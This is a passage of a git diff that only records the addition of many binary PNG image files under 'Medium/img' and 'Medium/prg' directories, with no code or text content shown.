a/Medium/img/56.png b/Medium/img/56.png new file mode 100644 index 0000000..275dbae Binary files /dev/null and b/Medium/img/56.png differ diff --git a/Medium/img/56_graph.png b/Medium/img/56_graph.png new file mode 100644 index 0000000..8741e54 Binary files /dev/null and b/Medium/img/56_graph.png differ diff --git a/Medium/img/57.png b/Medium/img/57.png new file mode 100644 index 0000000..11d830f Binary files /dev/null and b/Medium/img/57.png differ diff --git a/Medium/img/57_graph.png b/Medium/img/57_graph.png new file mode 100644 index 0000000..ed02226 Binary files /dev/null and b/Medium/img/57_graph.png differ diff --git a/Medium/img/58.png b/Medium/img/58.png new file mode 100644 index 0000000..86fd937 Binary files /dev/null and b/Medium/img/58.png differ diff --git a/Medium/img/58_graph.png b/Medium/img/58_graph.png new file mode 100644 index 0000000..bdf4ac6 Binary files /dev/null and b/Medium/img/58_graph.png differ diff --git a/Medium/img/59.png b/Medium/img/59.png new file mode 100644 index 0000000..3931de7 Binary files /dev/null and b/Medium/img/59.png differ diff --git a/Medium/img/59_graph.png b/Medium/img/59_graph.png new file mode 100644 index 0000000..1c273bd Binary files /dev/null and b/Medium/img/59_graph.png differ diff --git a/Medium/img/5_graph.png b/Medium/img/5_graph.png new file mode 100644 index 0000000..ba3f453 Binary files /dev/null and b/Medium/img/5_graph.png differ diff --git a/Medium/img/6.png b/Medium/img/6.png new file mode 100644 index 0000000..45a7131 Binary files /dev/null and b/Medium/img/6.png differ diff --git a/Medium/img/60.png b/Medium/img/60.png new file mode 100644 index 0000000..66a441d Binary files /dev/null and b/Medium/img/60.png differ diff --git a/Medium/img/60_graph.png b/Medium/img/60_graph.png new file mode 100644 index 0000000..9ff311d Binary files /dev/null and b/Medium/img/60_graph.png differ diff --git a/Medium/img/61.png b/Medium/img/61.png new file mode 100644 index 0000000..7521ab8 Binary files /dev/null and b/Medium/img/61.png differ diff --git a/Medium/img/61_graph.png b/Medium/img/61_graph.png new file mode 100644 index 0000000..5b5fa73 Binary files /dev/null and b/Medium/img/61_graph.png differ diff --git a/Medium/img/62.png b/Medium/img/62.png new file mode 100644 index 0000000..37f80dc Binary files /dev/null and b/Medium/img/62.png differ diff --git a/Medium/img/62_graph.png b/Medium/img/62_graph.png new file mode 100644 index 0000000..0b7393d Binary files /dev/null and b/Medium/img/62_graph.png differ diff --git a/Medium/img/63.png b/Medium/img/63.png new file mode 100644 index 0000000..8315335 Binary files /dev/null and b/Medium/img/63.png differ diff --git a/Medium/img/63_graph.png b/Medium/img/63_graph.png new file mode 100644 index 0000000..d971fa6 Binary files /dev/null and b/Medium/img/63_graph.png differ diff --git a/Medium/img/64.png b/Medium/img/64.png new file mode 100644 index 0000000..1d7da58 Binary files /dev/null and b/Medium/img/64.png differ diff --git a/Medium/img/64_graph.png b/Medium/img/64_graph.png new file mode 100644 index 0000000..a55229c Binary files /dev/null and b/Medium/img/64_graph.png differ diff --git a/Medium/img/65.png b/Medium/img/65.png new file mode 100644 index 0000000..1c6c0b5 Binary files /dev/null and b/Medium/img/65.png differ diff --git a/Medium/img/65_graph.png b/Medium/img/65_graph.png new file mode 100644 index 0000000..1b1d2a2 Binary files /dev/null and b/Medium/img/65_graph.png differ diff --git a/Medium/img/66.png b/Medium/img/66.png new file mode 100644 index 0000000..bb7edf0 Binary files /dev/null and b/Medium/img/66.png differ diff --git a/Medium/img/66_graph.png b/Medium/img/66_graph.png new file mode 100644 index 0000000..5f35bed Binary files /dev/null and b/Medium/img/66_graph.png differ diff --git a/Medium/img/67.png b/Medium/img/67.png new file mode 100644 index 0000000..3de315f Binary files /dev/null and b/Medium/img/67.png differ diff --git a/Medium/img/67_graph.png b/Medium/img/67_graph.png new file mode 100644 index 0000000..49901ff Binary files /dev/null and b/Medium/img/67_graph.png differ diff --git a/Medium/img/68.png b/Medium/img/68.png new file mode 100644 index 0000000..fbd2c47 Binary files /dev/null and b/Medium/img/68.png differ diff --git a/Medium/img/6_graph.png b/Medium/img/6_graph.png new file mode 100644 index 0000000..d3b247e Binary files /dev/null and b/Medium/img/6_graph.png differ diff --git a/Medium/img/7.png b/Medium/img/7.png new file mode 100644 index 0000000..754dc4c Binary files /dev/null and b/Medium/img/7.png differ diff --git a/Medium/img/7_graph.png b/Medium/img/7_graph.png new file mode 100644 index 0000000..54ba868 Binary files /dev/null and b/Medium/img/7_graph.png differ diff --git a/Medium/img/8.png b/Medium/img/8.png new file mode 100644 index 0000000..93826c0 Binary files /dev/null and b/Medium/img/8.png differ diff --git a/Medium/img/8_graph.png b/Medium/img/8_graph.png new file mode 100644 index 0000000..df17590 Binary files /dev/null and b/Medium/img/8_graph.png differ diff --git a/Medium/img/9.png b/Medium/img/9.png new file mode 100644 index 0000000..abbd8ef Binary files /dev/null and b/Medium/img/9.png differ diff --git a/Medium/img/9_graph.png b/Medium/img/9_graph.png new file mode 100644 index 0000000..d777017 Binary files /dev/null and b/Medium/img/9_graph.png differ diff --git a/Medium/prg/10_001.png b/Medium/prg/10_001.png new file mode 100644 index 0000000..046b5dc Binary files /dev/null and b/Medium/prg/10_001.png differ diff --git a/Medium/prg/10_002.png b/Medium/prg/10_002.png new file mode 100644 index 0000000..645c297 Binary files /dev/null and b/Medium/prg/10_002.png differ diff --git a/Medium/prg/10_003.png b/Medium/prg/10_003.png new file mode 100644 index 0000000..e26ad59 Binary files /dev/null and b/Medium/prg/10_003.png differ diff --git a/Medium/prg/10_004.png b/Medium/prg/10_004.png new file mode 100644 index 0000000..fa2447f Binary files /dev/null and b/Medium/prg/10_004.png differ diff --git a/Medium/prg/10_005.png b/Medium/prg/10_005.png new file mode 100644 index 0000000..3e6ff05 Binary files /dev/null and b/Medium/prg/10_005.png differ diff --git a/Medium/prg/10_006.png b/Medium/prg/10_006.png new file mode 100644 index 0000000..1d21b67 Binary files /dev/null and b/Medium/prg/10_006.png differ diff --git a/Medium/prg/10_007.png b/Medium/prg/10_007.png new file mode 100644 index 0000000..007e8dd Binary files /dev/null and b/Medium/prg/10_007.png differ diff --git a/Medium/prg/10_008.png b/Medium/prg/10_008.png new file mode 100644 index 0000000..6cb0ca4 Binary files /dev/null and b/Medium/prg/10_008.png differ diff --git a/Medium/prg/10_009.png b/Medium/prg/10_009.png new file mode 100644 index 0000000..68898a3 Binary files /dev/null and b/Medium/prg/10_009.png differ diff --git a/Medium/prg/10_010.png b/Medium/prg/10_010.png new file mode 100644 index 0000000..73551b9 Binary files /dev/null and b/Medium/prg/10_010.png differ diff --git a/Medium/prg/10_011.png b/Medium/prg/10_011.png new file mode 100644 index 0000000..a9c26b3 Binary files /dev/null and b/Medium/prg/10_011.png differ diff --git a/Medium/prg/10_012.png b/Medium/prg/10_012.png new file mode 100644 index 0000000..4110f97 Binary files /dev/null and b/Medium/prg/10_012.png differ diff --git a/Medium/prg/10_013.png b/Medium/prg/10_013.png new file mode 100644 index 0000000..eac000c Binary files /dev/null and b/Medium/prg/10_013.png differ diff --git a/Medium/prg/11_001.png b/Medium/prg/11_001.png new file mode 100644 index 0000000..2fcdc80 Binary files /dev/null and b/Medium/prg/11_001.png differ diff --git a/Medium/prg/11_002.png b/Medium/prg/11_002.png new file mode 100644 index 0000000..801def5 Binary files /dev/null and b/Medium/prg/11_002.png differ diff --git a/Medium/prg/11_003.png b/Medium/prg/11_003.png new file mode 100644 index 0000000..e7497bb Binary files /dev/null and b/Medium/prg/11_003.png differ diff --git a/Medium/prg/11_004.png b/Medium/prg/11_004.png new file mode 100644 index 0000000..17c5648 Binary files /dev/null and b/Medium/prg/11_004.png differ diff --git a/Medium/prg/11_005.png b/Medium/prg/11_005.png new file mode 100644 index 0000000..bdafd2a Binary files /dev/null and b/Medium/prg/11_005.png differ diff --git a/Medium/prg/11_006.png b/Medium/prg/11_006.png new file mode 100644 index 0000000..4e829b8 Binary files /dev/null and b/Medium/prg/11_006.png differ diff --git a/Medium/prg/11_007.png b/Medium/prg/11_007.png new file mode 100644 index 0000000..b44229c Binary files /dev/null and b/Medium/prg/11_007.png differ diff --git a/Medium/prg/11_008.png b/Medium/prg/11_008.png new file mode 100644 index 0000000..62d654a Binary files /dev/null and b/Medium/prg/11_008.png differ diff --git a/Medium/prg/11_009.png b/Medium/prg/11_009.png new file mode 100644 index 0000000..2c2eed1 Binary files /dev/null and b/Medium/prg/11_009.png differ diff --git a/Medium/prg/12_001.png b/Medium/prg/12_001.png new file mode 100644 index 0000000..25ad661 Binary files /dev/null and b/Medium/prg/12_001.png differ diff --git a/Medium/prg/12_002.png b/Medium/prg/12_002.png new file mode 100644 index 0000000..a6a90d6 Binary files /dev/null and b/Medium/prg/12_002.png differ diff --git a/Medium/prg/12_003.png b/Medium/prg/12_003.png new file mode 100644 index 0000000..c80e7bf Binary files /dev/null and b/Medium/prg/12_003.png differ diff --git a/Medium/prg/12_004.png b/Medium/prg/12_004.png new file mode 100644 index 0000000..abaeb61 Binary files /dev/null and b/Medium/prg/12_004.png differ diff --git a/Medium/prg/12_005.png b/Medium/prg/12_005.png new file mode 100644 index 0000000..b5682d3 Binary files /dev/null and b/Medium/prg/12_005.png differ diff --git a/Medium/prg/13_001.png b/Medium/prg/13_001.png new file mode 100644 index 0000000..b9497ca Binary files /dev/null and b/Medium/prg/13_001.png differ diff --git a/Medium/prg/13_002.png b/Medium/prg/13_002.png new file mode 100644 index 0000000..5693c03 Binary files /dev/null and b/Medium/prg/13_002.png differ diff --git a/Medium/prg/13_003.png b/Medium/prg/13_003.png new file mode 100644 index 0000000..2acc657 Binary files /dev/null and b/Medium/prg/13_003.png differ diff --git a/Medium/prg/13_004.png b/Medium/prg/13_004.png new file mode 100644 index 0000000..c33d00b Binary files /dev/null and b/Medium/prg/13_004.png differ diff --git a/Medium/prg/13_005.png b/Medium/prg/13_005.png new file mode 100644 index 0000000..30981e1 Binary files /dev/null and b/Medium/prg/13_005.png differ diff --git a/Medium/prg/13_006.png b/Medium/prg/13_006.png new file mode 100644 index 0000000..da06731 Binary files /dev/null and b/Medium/prg/13_006.png differ diff --git a/Medium/prg/13_007.png b/Medium/prg/13_007.png new file mode 100644 index 0000000..05638dc Binary files /dev/null and b/Medium/prg/13_007.png differ diff --git a/Medium/prg/13_008.png b/Medium/prg/13_008.png new file mode 100644 index 0000000..4fced14 Binary files /dev/null and b/Medium/prg/13_008.png differ diff --git a/Medium/prg/14_001.png b/Medium/prg/14_001.png new file mode 100644 index 0000000..2f521b6 Binary files /dev/null and b/Medium/prg/14_001.png differ diff --git a/Medium/prg/14_002.png b/Medium/prg/14_002.png new file mode 100644 index 0000000..6d36233 Binary files /dev/null and b/Medium/prg/14_002.png differ diff --git a/Medium/prg/14_003.png b/Medium/prg/14_003.png new file mode 100644 index 0000000..43cae62 Binary files /dev/null and b/Medium/prg/14_003.png differ diff --git a/Medium/prg/14_004.png b/Medium/prg/14_004.png new file mode 100644 index 0000000..0223c85 Binary files /dev/null and b/Medium/prg/14_004.png differ diff --git a/Medium/prg/14_005.png b/Medium/prg/14_005.png new file mode 100644 index 0000000..10946da Binary files /dev/null and b/Medium/prg/14_005.png differ diff --git a/Medium/prg/14_006.png b/Medium/prg/14_006.png new file mode 100644 index 0000000..2b15e99 Binary files /dev/null and b/Medium/prg/14_006.png differ diff --git a/Medium/prg/14_007.png b/Medium/prg/14_007.png new file mode 100644 index 0000000..8fdbc82 Binary files /dev/null and b/Medium/prg/14_007.png differ diff --git a/Medium/prg/14_008.png b/Medium/prg/14_008.png new file mode 100644 index 0000000..60cb587 Binary files /dev/null and b/Medium/prg/14_008.png differ diff --git a/Medium/prg/14_009.png b/Medium/prg/14_009.png new file mode 100644 index 0000000..b3e96bf Binary files /dev/null and b/Medium/prg/14_009.png differ diff --git a/Medium/prg/14_010.png b/Medium/prg/14_010.png new file mode 100644 index 0000000..15f9c9a Binary files /dev/null and b/Medium/prg/14_010.png differ diff --git a/Medium/prg/14_011.png b/Medium/prg/14_011.png new file mode 100644 index 0000000..c4d89ee Binary files /dev/null and b/Medium/prg/14_011.png differ diff --git a/Medium/prg/14_012.png b/Medium/prg/14_012.png new file mode 100644 index 0000000..6bd5d0c Binary files /dev/null and b/Medium/prg/14_012.png differ diff --git a/Medium/prg/14_013.png b/Medium/prg/14_013.png new file mode 100644 index 0000000..069680d Binary files /dev/null and b/Medium/prg/14_013.png differ diff --git a/Medium/prg/14_014.png b/Medium/prg/14_014.png new file mode 100644 index 0000000..5a61f5a Binary files /dev/null and b/Medium/prg/14_014.png differ diff --git a/Medium/prg/14_015.png b/Medium/prg/14_015.png new file mode 100644 index 0000000..387a126 Binary files /dev/null and b/Medium/prg/14_015.png differ diff --git a/Medium/prg/15_001.png b/Medium/prg/15_001.png new file mode 100644 index 0000000..e5bcd51 Binary files /dev/null and b/Medium/prg/15_001.png differ diff --git a/Medium/prg/15_002.png b/Medium/prg/15_002.png new file mode 100644 index 0000000..97223e0 Binary files /dev/null and b/Medium/prg/15_002.png differ diff --git a/Medium/prg/15_003.png b/Medium/prg/15_003.png new file mode 100644 index 0000000..97cf554 Binary files /dev/null and b/Medium/prg/15_003.png differ diff --git a/Medium/prg/15_004.png b/Medium/prg/15_004.png new file mode 100644 index 0000000..8dc066d Binary files /dev/null and b/Medium/prg/15_004.png differ diff --git a/Medium/prg/15_005.png b/Medium/prg/15_005.png new file mode 100644 index 0000000..961a19c Binary files /dev/null and b/Medium/prg/15_005.png differ diff --git a/Medium/prg/15_006.png b/Medium/prg/15_006.png new file mode 100644 index 0000000..5b154e4 Binary files /dev/null and b/Medium/prg/15_006.png differ diff --git a/Medium/prg/15_007.png b/Medium/prg/15_007.png new file mode 100644 index 0000000..11a73c6 Binary files /dev/null and b/Medium/prg/15_007.png differ diff --git a/Medium/prg/15_008.png b/Medium/prg/15_008.png new file mode 100644 index 0000000..e7c6810 Binary files /dev/null and b/Medium/prg/15_008.png differ diff --git a/Medium/prg/15_009.png b/Medium/prg/15_009.png new file mode 100644 index 0000000..c7868ec Binary files /dev/null and b/Medium/prg/15_009.png differ diff --git a/Medium/prg/15_010.png b/Medium/prg/15_010.png new file mode 100644 index 0000000..65c6a72 Binary files /dev/null and b/Medium/prg/15_010.png differ diff --git a/Medium/prg/15_011.png b/Medium/prg/15_011.png new file mode 100644 index 0000000..def4003 Binary files /dev/null and b/Medium/prg/15_011.png differ diff --git a/Medium/prg/15_012.png b/Medium/prg/15_012.png new file mode 100644 index 0000000..45a39fd Binary files /dev/null and b/Medium/prg/15_012.png differ diff --git a/Medium/prg/16_001.png b/Medium/prg/16_001.png new file mode 100644 index 0000000..5046ec0 Binary files /dev/null and b/Medium/prg/16_001.png differ diff --git a/Medium/prg/16_002.png b/Medium/prg/16_002.png new file mode 100644 index 0000000..e4ff5a5 Binary files /dev/null and b/Medium/prg/16_002.png differ diff --git a/Medium/prg/17_001.png b/Medium/prg/17_001.png new file mode 100644 index 0000000..3dfd70d Binary files /dev/null and b/Medium/prg/17_001.png differ diff --git a/Medium/prg/17_002.png b/Medium/prg/17_002.png new file mode 100644 index 0000000..6674cb9 Binary files /dev/null and b/Medium/prg/17_002.png differ diff --git a/Medium/prg/17_003.png b/Medium/prg/17_003.png new file mode 100644 index 0000000..cd64743 Binary files /dev/null and b/Medium/prg/17_003.png differ diff --git a/Medium/prg/18_001.png b/Medium/prg/18_001.png new file mode 100644 index 0000000..b81af75 Binary files /dev/null and b/Medium/prg/18_001.png differ diff --git a/Medium/prg/18_002.png b/Medium/prg/18_002.png new file mode 100644 index 0000000..47f6b22 Binary files /dev/null and b/Medium/prg/18_002.png differ diff --git a/Medium/prg/18_003.png b/Medium/prg/18_003.png new file mode 100644 index 0000000..25e2c04 Binary files /dev/null and b/Medium/prg/18_003.png differ diff --git a/Medium/prg/18_004.png b/Medium/prg/18_004.png new file mode 100644 index 0000000..8fb52ff Binary files /dev/null and b/Medium/prg/18_004.png differ diff --git a/Medium/prg/19_001.png b/Medium/prg/19_001.png new file mode 100644 index 0000000..cbd2409 Binary files /dev/null and b/Medium/prg/19_001.png differ diff --git a/Medium/prg/19_002.png b/Medium/prg/19_002.png new file mode 100644 index 0000000..bdabcf3 Binary files /dev/null and b/Medium/prg/19_002.png differ diff --git a/Medium/prg/19_003.png b/Medium/prg/19_003.png new file mode 100644 index 0000000..a382f92 Binary files /dev/null and b/Medium/prg/19_003.png differ diff --git a/Medium/prg/19_004.png b/Medium/prg/19_004.png new file mode 100644 index 0000000..7d64d8f Binary files /dev/null and b/Medium/prg/19_004.png differ diff --git a/Medium/prg/19_005.png b/Medium/prg/19_005.png new file mode 100644 index 0000000..60c4b9e Binary files /dev/null and b/Medium/prg/19_005.png differ diff --git a/Medium/prg/19_006.png b/Medium/prg/19_006.png new file mode 100644 index 0000000..35369fa Binary files /dev/null and b/Medium/prg/19_006.png differ diff --git a/Medium/prg/19_007.png b/Medium/prg/19_007.png new file mode 100644 index 0000000..fe9f8cf Binary files /dev/null and b/Medium/prg/19_007.png differ diff --git a/Medium/prg/19_008.png b/Medium/prg/19_008.png new file mode 100644 index 0000000..ff1d32f Binary files /dev/null and b/Medium/prg/19_008.png differ diff --git a/Medium/prg/1_001.png b/Medium/prg/1_001.png new file mode 100644 index 0000000..28d6196 Binary files /dev/null and b/Medium/prg/1_001.png differ diff --git a/Medium/prg/1_002.png b/Medium/prg/1_002.png new file mode 100644 index 0000000..da4e585 Binary files /dev/null and b/Medium/prg/1_002.png differ diff --git a/Medium/prg/1_003.png b/Medium/prg/1_003.png new file mode 100644 index 0000000..3c33801 Binary files /dev/null and b/Medium/prg/1_003.png differ diff --git a/Medium/prg/1_004.png b/Medium/prg/1_004.png new file mode 100644 index 0000000..cfedc27 Binary files /dev/null and b/Medium/prg/1_004.png differ diff --git a/Medium/prg/1_005.png b/Medium/prg/1_005.png new file mode 100644 index 0000000..495bf6b Binary files /dev/null and b/Medium/prg/1_005.png differ diff --git a/Medium/prg/1_006.png b/Medium/prg/1_006.png new file mode 100644 index 0000000..d607da2 Binary files /dev/null and b/Medium/prg/1_006.png differ diff --git a/Medium/prg/1_007.png b/Medium/prg/1_007.png new file mode 100644 index 0000000..6e93e83 Binary files /dev/null and b/Medium/prg/1_007.png differ diff --git a/Medium/prg/1_008.png b/Medium/prg/1_008.png new file mode 100644 index 0000000..e7fcf8b Binary files /dev/null and b/Medium/prg/1_008.png differ diff --git a/Medium/prg/1_009.png b/Medium/prg/1_009.png new file mode 100644 index 0000000..843dc11 Binary files /dev/null and b/Medium/prg/1_009.png differ diff --git a/Medium/prg/1_010.png b/Medium/prg/1_010.png new file mode 100644 index 0000000..958fa32 Binary files /dev/null and b/Medium/prg/1_010.png differ diff --git a/Medium/prg/20_001.png b/Medium/prg/20_001.png new file mode 100644 index 0000000..c87c6e8 Binary files /dev/null and b/Medium/prg/20_001.png differ diff --git a/Medium/prg/20_002.png b/Medium/prg/20_002.png new file mode 100644 index 0000000..6dabdc7 Binary files /dev/null and b/Medium/prg/20_002.png differ diff --git a/Medium/prg/20_003.png b/Medium/prg/20_003.png new file mode 100644 index 0000000..5e79d50 Binary files /dev/null and b/Medium/prg/20_003.png differ diff --git a/Medium/prg/20_004.png b/Medium/prg/20_004.png new file mode 100644 index 0000000..9fcf0cc Binary files /dev/null and b/Medium/prg/20_004.png differ diff --git a/Medium/prg/20_005.png b/Medium/prg/20_005.png new file mode 100644 index 0000000..eaf388b Binary files /dev/null and b/Medium/prg/20_005.png differ diff --git a/Medium/prg/20_006.png b/Medium/prg/20_006.png new file mode 100644 index 0000000..801eab8 Binary files /dev/null and b/Medium/prg/20_006.png differ diff --git a/Medium/prg/20_007.png b/Medium/prg/20_007.png new file mode 100644 index 0000000..a5b7ace Binary files /dev/null and b/Medium/prg/20_007.png differ diff --git a/Medium/prg/20_008.png b/Medium/prg/20_008.png new file mode 100644 index 0000000..0a0004a Binary files /dev/null and b/Medium/prg/20_008.png differ diff --git a/Medium/prg/20_009.png b/Medium/prg/20_009.png new file mode 100644 index 0000000..e442c04 Binary files /dev/null and b/Medium/prg/20_009.png differ diff --git a/Medium/prg/20_010.png b/Medium/prg/20_010.png new file mode 100644 index 0000000..82d5da2 Binary files /dev/null and b/Medium/prg/20_010.png differ diff --git a/Medium/prg/20_011.png b/Medium/prg/20_011.png new file mode 100644 index 0000000..1a678d1 Binary files /dev/null and b/Medium/prg/20_011.png differ diff --git a/Medium/prg/20_012.png b/Medium/prg/20_012.png new file mode 100644 index 0000000..1d06d2d Binary files /dev/null and b/Medium/prg/20_012.png differ diff --git a/Medium/prg/20_013.png b/Medium/prg/20_013.png new file mode 100644 index 0000000..d27ec1f Binary files /dev/null and b/Medium/prg/20_013.png differ diff --git a/Medium/prg/20_014.png b/Medium/prg/20_014.png new file mode 100644 index 0000000..34d97b2 Binary files /dev/null and b/Medium/prg/20_014.png differ diff --git a/Medium/prg/20_015.png b/Medium/prg/20_015.png new file mode 100644 index 0000000..31443c6 Binary files /dev/null and b/Medium/prg/20_015.png differ diff --git a/Medium/prg/20_016.png b/Medium/prg/20_016.png new file mode 100644 index 0000000..335403e Binary files /dev/null and b/Medium/prg/20_016.png differ diff --git a/Medium/prg/21_001.png b/Medium/prg/21_001.png new file mode 100644 index 0000000..1cd0198 Binary files /dev/null and b/Medium/prg/21_001.png differ diff --git a/Medium/prg/21_002.png b/Medium/prg/21_002.png new file mode 100644 index 0000000..e6f51c4 Binary files /dev/null and b/Medium/prg/21_002.png differ diff --git a/Medium/prg/21_003.png b/Medium/prg/21_003.png new file mode 100644 index 0000000..50d584c Binary files /dev/null and b/Medium/prg/21_003.png differ diff --git a/Medium/prg/21_004.png b/Medium/prg/21_004.png new file mode 100644 index 0000000..5f3f487 Binary files /dev/null and b/Medium/prg/21_004.png differ diff --git a/Medium/prg/21_005.png b/Medium/prg/21_005.png new file mode 100644 index 0000000..4f30bc0 Binary files /dev/null and b/Medium/prg/21_005.png differ diff --git a/Medium/prg/21_006.png b/Medium/prg/21_006.png new file mode 100644 index 0000000..c80c3f1 Binary files /dev/null and b/Medium/prg/21_006.png differ diff --git a/Medium/prg/22_001.png b/Medium/prg/22_001.png new file mode 100644 index 0000000..e13630d Binary files /dev/null and b/Medium/prg/22_001.png differ diff --git a/Medium/prg/22_002.png b/Medium/prg/22_002.png new file mode 100644 index 0000000..7884256 Binary files /dev/null and b/Medium/prg/22_002.png differ diff --git a/Medium/prg/22_003.png b/Medium/prg/22_003.png new file mode 100644 index 0000000..5d88e9d Binary files /dev/null and b/Medium/prg/22_003.png differ diff --git a/Medium/prg/22_004.png b/Medium/prg/22_004.png new file mode 100644 index 0000000..fb8dfc8 Binary files /dev/null and b/Medium/prg/22_004.png differ diff --git a/Medium/prg/22_005.png b/Medium/prg/22_005.png new file mode 100644 index 0000000..f930d26 Binary files /dev/null and b/Medium/prg/22_005.png differ diff --git a/Medium/prg/23_001.png b/Medium/prg/23_001.png new file mode 100644 index 0000000..1812a26 Binary files /dev/null and b/Medium/prg/23_001.png differ diff --git a/Medium/prg/23_002.png b/Medium/prg/23_002.png new file mode 100644 index 0000000..0377c99 Binary files /dev/null and b/Medium/prg/23_002.png differ diff --git a/Medium/prg/24_001.png b/Medium/prg/24_001.png new file mode 100644 index 0000000..9ea64ad Binary files /dev/null and b/Medium/prg/24_001.png differ diff --git a/Medium/prg/24_002.png b/Medium/prg/24_002.png new file mode 100644 index 0000000..02b0c18 Binary files /dev/null and b/Medium/prg/24_002.png differ diff --git a/Medium/prg/24_003.png b/Medium/prg/24_003.png new file mode 100644 index 0000000..2b0e7da Binary files /dev/null and b/Medium/prg/24_003.png differ diff --git a/Medium/prg/25_001.png b/Medium/prg/25_001.png new file mode 100644 index 0000000..b8f6e4a Binary files /dev/null and b/Medium/prg/25_001.png differ diff --git a/Medium/prg/25_002.png b/Medium/prg/25_002.png new file mode 100644 index 0000000..3db0c6b Binary files /dev/null and b/Medium/prg/25_002.png differ diff --git a/Medium/prg/25_003.png b/Medium/prg/25_003.png new file mode 100644 index 0000000..f6a73ff Binary files /dev/null and b/Medium/prg/25_003.png differ diff --git a/Medium/prg/25_004.png b/Medium/prg/25_004.png new file mode 100644 index 0000000..891e3c5 Binary files /dev/null and b/Medium/prg/25_004.png differ diff --git a/Medium/prg/25_005.png b/Medium/prg/25_005.png new file mode 100644 index 0000000..011d96f Binary files /dev/null and b/Medium/prg/25_005.png differ diff --git a/Medium/prg/25_006.png b/Medium/prg/25_006.png new file mode 100644 index 0000000..c559801 Binary files /dev/null and b/Medium/prg/25_006.png differ diff --git a/Medium/prg/25_007.png b/Medium/prg/25_007.png new file mode 100644 index 0000000..3ee1e2d Binary files /dev/null and b/Medium/prg/25_007.png differ diff --git a/Medium/prg/25_008.png b/Medium/prg/25_008.png new file mode 100644 index 0000000..23ce991 Binary files /dev/null and b/Medium/prg/25_008.png differ diff --git a/Medium/prg/25_009.png b/Medium/prg/25_009.png new file mode 100644 index 0000000..1739b5d Binary files /dev/null and b/Medium/prg/25_009.png differ diff --git a/Medium/prg/25_010.png b/Medium/prg/25_010.png new file mode 100644 index 0000000..8ee632b Binary files /dev/null and b/Medium/prg/25_010.png differ diff --git a/Medium/prg/25_011.png b/Medium/prg/25_011.png new file mode 100644 index 0000000..94f74ff Binary files /dev/null and b/Medium/prg/25_011.png differ diff --git a/Medium/prg/25_012.png b/Medium/prg/25_012.png new file mode 100644 index 0000000..1362c56 Binary files /dev/null and b/Medium/prg/25_012.png differ diff --git a/Medium/prg/26_001.png b/Medium/prg/26_001.png new file mode 100644 index 0000000..ab169f9 Binary files /dev/null and b/Medium/prg/26_001.png differ diff --git a/Medium/prg/26_002.png b/Medium/prg/26_002.png new file mode 100644 index 0000000..8447248 Binary files /dev/null and b/Medium/prg/26_002.png differ diff --git a/Medium/prg/26_003.png b/Medium/prg/26_003.png new file mode 100644 index 0000000..c8820e8 Binary files /dev/null and b/Medium/prg/26_003.png differ diff --git a/Medium/prg/26_004.png b/Medium/prg/26_004.png new file mode 100644 index 0000000..bb352ac Binary files /dev/null and b/Medium/prg/26_004.png differ diff --git a/Medium/prg/26_005.png b/Medium/prg/26_005.png new file mode 100644 index 0000000..8f02df8 Binary files /dev/null and b/Medium/prg/26_005.png differ diff --git a/Medium/prg/26_006.png b/Medium/prg/26_006.png new file mode 100644 index 0000000..6a9a534 Binary files /dev/null and b/Medium/prg/26_006.png differ diff --git a/Medium/prg/27_001.png b/Medium/prg/27_001.png new file mode 100644 index 0000000..5a91e15 Binary files /dev/null and b/Medium/prg/27_001.png differ diff --git a/Medium/prg/27_002.png b/Medium/prg/27_002.png new file mode 100644 index 0000000..699d99b Binary files /dev/null and b/Medium/prg/27_002.png differ diff --git a/Medium/prg/28_001.png b/Medium/prg/28_001.png new file mode 100644 index 0000000..3d061ad Binary files /dev/null and b/Medium/prg/28_001.png differ diff --git a/Medium/prg/28_002.png b/Medium/prg/28_002.png new file mode 100644 index 0000000..99ca05e Binary files /dev/null and b/Medium/prg/28_002.png differ diff --git a/Medium/prg/28_003.png b/Medium/prg/28_003.png new file mode 100644 index 0000000..eabc7bf Binary files /dev/null and b/Medium/prg/28_003.png differ diff --git a/Medium/prg/28_004.png b/Medium/prg/28_004.png new file mode 100644 index 0000000..85a1280 Binary files /dev/null and b/Medium/prg/28_004.png differ diff --git a/Medium/prg/28_005.png b/Medium/prg/28_005.png new file mode 100644 index 0000000..0669552 Binary files /dev/null and b/Medium/prg/28_005.png differ diff --git a/Medium/prg/28_006.png b/Medium/prg/28_006.png new file mode 100644 index 0000000..197d681 Binary files /dev/null and b/Medium/prg/28_006.png differ diff --git a/Medium/prg/29_001.png b/Medium/prg/29_001.png new file mode 100644 index 0000000..1bdc442 Binary files /dev/null and b/Medium/prg/29_001.png differ diff --git a/Medium/prg/29_002.png b/Medium/prg/29_002.png new file mode 100644 index 0000000..55faf23 Binary files /dev/null and b/Medium/prg/29_002.png differ diff --git a/Medium/prg/29_003.png b/Medium/prg/29_003.png new file mode 100644 index 0000000..a4b484e Binary files /dev/null and b/Medium/prg/29_003.png differ diff --git a/Medium/prg/29_004.png b/Medium/prg/29_004.png new file mode 100644 index 0000000..be39adc Binary files /dev/null and b/Medium/prg/29_004.png differ diff --git a/Medium/prg/29_005.png b/Medium/prg/29_005.png new file mode 100644 index 0000000..0f0bb36 Binary files /dev/null and b/Medium/prg/29_005.png differ diff --git a/Medium/prg/29_006.png b/Medium/prg/29_006.png new file mode 100644 index 0000000..c087326 Binary files /dev/null and b/Medium/prg/29_006.png differ diff --git a/Medium/prg/29_007.png b/Medium/prg/29_007.png new file mode 100644 index 0000000..7b24a37 Binary files /dev/null and b/Medium/prg/29_007.png differ diff --git a/Medium/prg/29_008.png b/Medium/prg/29_008.png new file mode 100644 index 0000000..7a4bb40 Binary files /dev/null and b/Medium/prg/29_008.png differ diff --git a/Medium/prg/29_009.png b/Medium/prg/29_009.png new file mode 100644 index 0000000..1517aa1 Binary files /dev/null and b/Medium/prg/29_009.png differ diff --git a/Medium/prg/29_010.png b/Medium/prg/29_010.png new file mode 100644 index 0000000..c612151 Binary files /dev/null and b/Medium/prg/29_010.png differ diff --git a/Medium/prg/29_011.png b/Medium/prg/29_011.png new file mode 100644 index 0000000..8171349 Binary files /dev/null and b/Medium/prg/29_011.png differ diff --git a/Medium/prg/2_001.png b/Medium/prg/2_001.png new file mode 100644 index 0000000..0b05dc9 Binary files /dev/null and b/Medium/prg/2_001.png differ diff --git a/Medium/prg/2_002.png b/Medium/prg/2_002.png new file mode 100644 index 0000000..b447457 Binary files /dev/null and b/Medium/prg/2_002.png differ diff --git a/Medium/prg/2_003.png b/Medium/prg/2_003.png new file mode 100644 index 0000000..589f4b2 Binary files /dev/null and b/Medium/prg/2_003.png differ diff --git a/Medium/prg/2_004.png b/Medium/prg/2_004.png new file mode 100644 index 0000000..adbf922 